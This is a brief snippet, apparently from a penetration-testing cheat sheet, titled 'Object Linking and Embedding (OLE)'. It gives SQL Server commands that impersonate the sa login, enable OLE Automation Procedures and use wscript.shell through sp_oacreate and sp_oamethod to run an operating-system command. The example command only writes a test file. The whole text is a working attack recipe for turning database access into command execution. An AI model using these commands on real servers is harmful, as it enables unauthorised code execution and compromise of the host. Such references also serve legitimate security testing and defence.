Object Linking and Embedding (OLE)
EXECUTE AS LOGIN = 'sa'
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE
DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT
EXEC sp_oamethod @myshell, 'run', null, 'cmd /c \"echo Test > C:\\Tools\\file.txt\"'Last updated